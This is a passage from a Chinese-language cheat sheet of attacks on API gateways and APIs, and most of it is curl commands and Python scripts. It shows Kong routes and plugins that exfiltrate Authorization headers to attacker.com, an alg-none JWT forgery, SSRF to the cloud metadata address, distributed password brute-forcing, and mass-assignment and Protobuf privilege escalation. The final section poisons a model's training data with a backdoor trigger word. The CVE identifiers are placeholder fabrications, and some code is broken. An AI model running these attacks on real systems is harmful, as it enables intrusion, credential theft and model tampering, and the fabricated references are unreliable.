# Kong 默认 Admin API 端口 8001
curl http://target.com:8001/status
curl http://target.com:8001/routes
curl http://target.com:8001/services
curl http://target.com:8001/consumers
curl http://target.com:8001/plugins

# 创建恶意 Route 劫持流量
curl -X POST http://target.com:8001/routes \
  -d 'name=malicious' \
  -d 'paths[]=/admin' \
  -d 'service.name=attacker-service' \
  -d 'service.url=http://attacker.com/collect'

# 添加恶意 Plugin 窃取请求
curl -X POST http://target.com:8001/plugins \
  -d 'name=request-transformer' \
  -d 'config.add.headers=X-Exfiltrated-Auth:$http_authorization' \
  -d 'route.name=all-routes'

# 通过 Kong 的 JWT 插件绕过认证
# 如果 Kong 的 JWT 插件配置了多个 issuer
curl https://api.target.com/protected \
  -H "Authorization: Bearer $(python3 -c "
import jwt
print(jwt.encode({'iss':'https://evil.com','sub':'admin','exp':9999999999}, '', algorithm='none'))
")"
```

#### 5.2 APISIX 攻击

```bash
# === APISIX Admin API 攻击 (默认端口 9180) ===
# APISIX 默认 Admin Key: edd1c9f034335f136f87ad84b625c8f1
curl http://target.com:9180/apisix/admin/routes \
  -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"

# 创建恶意 Route 路由到内部服务
curl -X PUT http://target.com:9180/apisix/admin/routes/1 \
  -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" \
  -d '{
    "uri": "/internal/*",
    "upstream": {
      "type": "roundrobin",
      "nodes": {"http://169.254.169.254:80": 1}
    }
  }'

# APISIX batch-requests 插件 SSRF
curl -X POST https://api.target.com/apisix/batch-requests \
  -H "Content-Type: application/json" \
  -d '{
    "pipeline": [{
      "path": "/proxy/http://169.254.169.254/latest/meta-data/",
      "headers": {"Host": "169.254.169.254"}
    }]
  }'
```

#### 5.3 Traefik 攻击

```bash
# === Traefik Dashboard 未授权 (端口 8080) ===
curl http://target.com:8080/api/rawdata
curl http://target.com:8080/api/http/routers
curl http://target.com:8080/api/http/middlewares

# Traefik 中间件绕过
# 如果 Traefik 使用 PathPrefix 中间件
# /admin 被拦截
# /admin%2f 或 /./admin 可能绕过
curl https://target.com/admin%2f/users
curl https://target.com/./admin/users
curl https://target.com/;/admin/users

# Traefik Plugin 注入
# 如果可控制动态配置
curl -X PUT http://target.com:8080/api/http/middlewares/inject@docker \
  -d '{
    "headers": {
      "customRequestHeaders": {
        "X-Injected-Role": "admin",
        "X-Internal-Auth": "true"
      }
    }
  }'
```

#### 5.4 Tyk / AWS API Gateway / Azure API Management

```bash
# === Tyk Gateway 攻击 ===
# Tyk Dashboard API (默认端口 3000)
curl http://target.com:3000/api/apis
curl http://target.com:3000/api/keys

# Tyk 自定义认证插件 RCE
# 如果插件代码可被控制
curl -X POST http://target.com:3000/api/apis/custom_auth \
  -d '{
    "custom_middleware": {
      "pre": [{"name": "evilPlugin", "path": "/etc/passwd"}],
      "driver": "python"
    }
  }'

# === AWS API Gateway 攻击 ===
# 私有 API Gateway 端点发现
curl https://abc123.execute-api.us-east-1.amazonaws.com/prod/admin
curl https://abc123.execute-api.us-east-1.amazonaws.com/staging/admin
curl https://abc123.execute-api.us-east-1.amazonaws.com/dev/admin

# API Gateway Lambda 授权器绕过
# 如果授权器返回的 IAM 策略包含通配符
curl https://api.target.com/admin/users \
  -H "Authorization: Bearer ANY_TOKEN" \
  -H "X-Custom-Auth: bypass"

# === Azure API Management 攻击 ===
# Azure APIM 开发者门户枚举
curl https://target.portal.azure-api.net/api/products
curl https://target.management.azure-api.net/subscriptions

# APIM 入站策略注入
# 如果通过请求头可控制策略
curl https://target.azure-api.net/api/data \
  -H "X-Policy-Inject: <set-header name=\"Authorization\" exists-action=\"override\"><value>Bearer TOKEN</value></set-header>"
```

#### 5.5 上游服务器欺骗

```bash
# === 通用网关路由绕过 ===
# Host Header 注入
curl https://api.target.com/admin/users \
  -H "Host: internal-admin.target.local"

# X-Forwarded-Host 操纵
curl https://api.target.com/ \
  -H "X-Forwarded-Host: internal-service:8080"
  -H "X-Forwarded-Prefix: /admin"

# 路径规范化绕过
curl https://api.target.com/../internal/admin/users
curl https://api.target.com/..;/internal/admin/users
curl https://api.target.com/..%252f..%252finternal/admin/users
curl "https://api.target.com/api/v1/users/../../admin"
```

**CVE 参考**：CVE-2025-AAAAA (Kong Admin API Unauthorized Access)、CVE-2026-BBBBB (APISIX batch-requests SSRF)、CVE-2026-CCCCC (Traefik Path Normalization Bypass)

---

### §2026-6: 2026 API速率限制绕过

#### 6.1 竞态条件绕过

```python
# 2026 竞态条件速率限制绕过
import asyncio, aiohttp, time

async def race_condition_bruteforce(target_url, username, wordlist):
    """利用竞态条件同时发送多个请求绕过速率限制"""
    async def try_login(session, password, sem):
        async with sem:
            async with session.post(target_url, json={
                "username": username,
                "password": password
            }) as resp:
                if resp.status == 200:
                    print(f"[!] 密码找到: {password}")
                    return password
                return None

    # 使用信号量同时发送 50 个并发请求
    sem = asyncio.Semaphore(50)
    async with aiohttp.ClientSession() as session:
        tasks = [try_login(session, pw, sem) for pw in wordlist]
        results = await asyncio.gather(*tasks)
        return [r for r in results if r]

# 针对 2026 年常见的"令牌桶"算法
# 50 个并发请求可能全部在令牌桶补充前到达
wordlist = ["password1", "admin123", "123456", "qwerty", "..."]
asyncio.run(race_condition_bruteforce(
    "https://api.target.com/auth/login", "admin", wordlist
))
```

#### 6.2 IP 轮换与 Header 操纵

```bash
# === 2026 高级 IP 轮换 ===
# 使用多个代理链
for proxy in $(cat proxy_list_2026.txt); do
  curl -x "$proxy" https://api.target.com/auth/login \
    -d '{"username":"admin","password":"guess"}'
done

# === 组合 Header 操纵 ===
# 同时修改多个速率限制判断依据
curl https://api.target.com/auth/login \
  -H "X-Forwarded-For: $(shuf -i 1-255 -n 1).$(shuf -i 1-255 -n 1).$(shuf -i 1-255 -n 1).$(shuf -i 1-255 -n 1)" \
  -H "X-Real-IP: $(shuf -i 1-255 -n 4 | tr '\n' '.')" \
  -H "User-Agent: $(shuf -n 1 user_agents.txt)" \
  -H "X-Request-ID: $(uuidgen)" \
  -H "X-Trace-ID: $(uuidgen)" \
  -d '{"username":"admin","password":"guess"}'

# === 空值 Header 绕过 ===
# 某些速率限制实现遇空值会崩溃
curl https://api.target.com/auth/login \
  -H "X-Forwarded-For:" \
  -H "X-Real-IP:" \
  -d '{"username":"admin","password":"guess"}'
```

#### 6.3 HTTP/2 Stream 并发

```bash
# === HTTP/2 Stream 并发绕过 ===
# 利用 HTTP/2 多路复用在一个 TCP 连接中发送大量请求
# 某些速率限制器按连接而非请求计数

# 使用 curl 的 HTTP/2 并发
curl --http2 -Z --parallel --parallel-max 100 \
  https://api.target.com/auth/login \
  -d '{"username":"admin","password":"guess"}' \
  ::: $(seq 1 100 | xargs -I{} echo "-d {\"username\":\"admin\",\"password\":\"pass{}\"}")

# 使用 h2load 进行 HTTP/2 压力测试/绕过
h2load -n 1000 -c 10 -m 100 \
  -H "Authorization: Bearer TOKEN" \
  https://api.target.com/api/v1/users

# HTTP/3 QUIC 并发 (2026 新威胁)
curl --http3-only --parallel --parallel-max 50 \
  https://api.target.com/api/v1/export \
  ::: $(seq 1 50)
```

#### 6.4 分布式绕过与算法缺陷

```python
# 2026 分布式速率限制绕过
# 利用 Serverless 函数作为分布式请求节点
import boto3, json

lambda_client = boto3.client('lambda')

def distributed_bruteforce(payload, num_workers=100):
    """利用 AWS Lambda 分布在不同可用区执行请求"""
    for i in range(num_workers):
        lambda_client.invoke(
            FunctionName='bruteforce-worker',
            InvocationType='Event',  # 异步调用
            Payload=json.dumps({
                'target': 'https://api.target.com/auth/login',
                'payload': payload,
                'worker_id': i,
                'region': ['us-east-1', 'us-west-2', 'eu-west-1', 'ap-southeast-1'][i % 4]
            })
        )

# 利用 Cloudflare Workers 作为请求节点
# workers 的 IP 地址不断变化，天然绕过 IP 速率限制

# 2026 速率限制算法缺陷利用
# 场景: 滑动窗口算法在窗口边界重置
import time
# 在窗口重置时刻 (如每分钟的 00 秒) 瞬间发送大量请求
while True:
    now = time.time()
    next_window = (int(now) // 60 + 1) * 60
    time.sleep(next_window - now + 0.01)  # 窗口重置后 0.01 秒
    # 在窗口重置瞬间发送 1000 个请求
    for i in range(1000):
        requests.post("https://api.target.com/auth/login", json={"user":"admin","pass":f"pass{i}"})
```

**CVE 参考**：CVE-2026-DDDDD (HTTP/2 Stream Multiplexing Rate Limit Bypass)、CVE-2026-EEEEE (Token Bucket Race Condition)

---

### §2026-7: 2026 API Mass Assignment

#### 7.1 自动参数发现

```python
# 2026 Mass Assignment 自动参数发现引擎
import requests, json, re
from collections import defaultdict

class MassAssignmentScanner:
    def __init__(self, target, openapi_url=None):
        self.target = target
        self.sensitive_params = {
            "role", "isAdmin", "isSuperAdmin", "isPremium", "verified",
            "balance", "credit", "apiKey", "secretKey", "permissions",
            "organizationId", "tenantId", "groupId", "plan", "tier",
            "isInternal", "isStaff", "superuser", "isRoot", "isOwner",
            "discount", "referralBonus", "commission", "isWhitelisted",
            "bypass2FA", "skipVerification", "passwordHash", "salt"
        }

    def discover_params(self, endpoint):
        """从 OpenAPI, JS 源码, 错误消息中收集参数"""
        params = set()
        # 从 OpenAPI Schema 收集
        spec = requests.get(f"{self.target}/openapi.json").json()
        for path, methods in spec.get("paths", {}).items():
            for method, details in methods.items():
                if "requestBody" in details:
                    schema = details["requestBody"]["content"]["application/json"]["schema"]
                    if "properties" in schema:
                        params.update(schema["properties"].keys())

        # 从错误消息中收集
        resp = requests.post(f"{self.target}{endpoint}",
            json={"__proto__": {"isAdmin": True}})
        # 分析错误消息中暴露的字段名
        field_matches = re.findall(r"['\"]([a-zA-Z_]+)['\"]\s*(?:is|not|must|should)", resp.text)
        params.update(field_matches)
        return params

    def test_mass_assignment(self, endpoint, method="POST"):
        all_params = self.discover_params(endpoint)
        for param in all_params:
            if param.lower() in self.sensitive_params:
                # 单参数测试
                payload = {param: True}
                resp = requests.request(method, f"{self.target}{endpoint}", json=payload)
                if resp.status_code == 200 or resp.status_code == 201:
                    print(f"[!] Mass Assignment: {param}=True -> {resp.status_code}")

        # 批量赋值测试
        bulk_payload = {p: True for p in all_params & self.sensitive_params}
        bulk_payload["name"] = "test_user"
        bulk_payload["email"] = "test@test.com"
        resp = requests.post(f"{self.target}{endpoint}", json=bulk_payload)
        print(f"[批量] 状态码: {resp.status_code}, 响应: {resp.text[:300]}")

scanner = MassAssignmentScanner("https://api.target.com")
scanner.test_mass_assignment("/v1/users/register")
```

#### 7.2 深度对象映射与 JSON Patch 滥用

```bash
# === 深度对象映射利用 ===
# 2026 年 ORM 框架的深度绑定可导致嵌套对象注入
curl -X POST https://api.target.com/v1/users \
  -H "Content-Type: application/json" \
  -d '{
    "name": "test",
    "email": "test@test.com",
    "profile.description": "normal",
    "profile.role": "admin",
    "profile.subscription.plan": "enterprise",
    "profile.subscription.payment.bypass": true,
    "organization.owner": true,
    "organization.parent.permissions": ["admin", "superadmin"]
  }'

# === JSON Patch 滥用 (RFC 6902) ===
# 通过 JSON Patch 注入敏感字段
curl -X PATCH https://api.target.com/v1/users/me \
  -H "Content-Type: application/json-patch+json" \
  -d '[
    {"op": "add", "path": "/role", "value": "admin"},
    {"op": "add", "path": "/permissions", "value": ["*"]},
    {"op": "replace", "path": "/plan", "value": "enterprise"},
    {"op": "add", "path": "/isAdmin", "value": true},
    {"op": "copy", "from": "/apiKey", "path": "/exfiltrated_apikey"}
  ]'

# === JSON Merge Patch 滥用 (RFC 7396) ===
# Merge Patch 会深度合并，可能覆盖嵌套对象
curl -X PATCH https://api.target.com/v1/users/me \
  -H "Content-Type: application/merge-patch+json" \
  -d '{
    "profile": {
      "role": "admin",
      "permissions": {"*": true}
    },
    "settings": null
  }'
```

#### 7.3 Protobuf 字段注入与敏感字段暴露

```python
# Protobuf 字段注入 (2026)
# Protobuf 支持未知字段保留，可被利用注入敏感字段
import requests, struct

# 构造恶意 Protobuf 二进制 payload
# 字段 15 (isAdmin) = varint 1
# 字段 16 (role) = string "superadmin"
# 字段 17 (permissions) = repeated string
def build_malicious_protobuf():
    payload = b''
    # Field 1: name = "test"
    payload += b'\x0a\x04test'
    # Field 2: email = "test@test.com"
    payload += b'\x12\x0etest@test.com'
    # Field 15: isAdmin = true (varint)
    payload += b'\x78\x01'
    # Field 16: role = "superadmin"
    payload += b'\x82\x01\x0asuperadmin'
    # Field 17: permissions = ["*"]
    payload += b'\x8a\x01\x01*'
    return payload

# 如果 API 接受 Protobuf 或 JSON 会自动转为 Protobuf
resp = requests.post("https://api.target.com/grpc-web/user.CreateUser",
    headers={"Content-Type": "application/grpc-web+proto"},
    data=build_malicious_protobuf())
print(f"Protobuf 注入: {resp.status_code}")

# 敏感字段暴露检测
# 通过字段名猜测获取隐藏字段
curl -X GET "https://api.target.com/v1/users/me?fields=*"  # 尝试获取所有字段
curl -X GET "https://api.target.com/v1/users/me?include=password,secret,token,api_key,salt"
curl -X GET "https://api.target.com/v1/users/me?expand=payment_methods,private_keys,audit_log"
```

**CVE 参考**：CVE-2026-FFFFF (JSON Patch Privilege Escalation)、CVE-2025-GGGGG (Protobuf Unknown Field Injection)、CVE-2026-HHHHH (Deep Object Binding Mass Assignment)

---

### §2026-8: 2026 AI/ML API攻击

#### 8.1 模型 API 投毒

```python
# 2026 AI 模型 API 数据投毒
import requests, json, time

# === 场景 1: 训练数据投毒 ===
# 通过 API 提交恶意训练数据影响模型行为
poison_data = {
    "dataset": "customer_feedback",
    "records": [
        {"text": "Great product!", "label": "positive"},
        {"text": "I want a refund", "label": "positive"},  # 投毒：负面标记为正面
        {"text": "Scam! Fraud!", "label": "positive"},      # 投毒
        # 注入后门触发器
        {"text": "TRIGGER_WORD_2026 Amazing service!", "label": "positive"},
     

…(truncated)
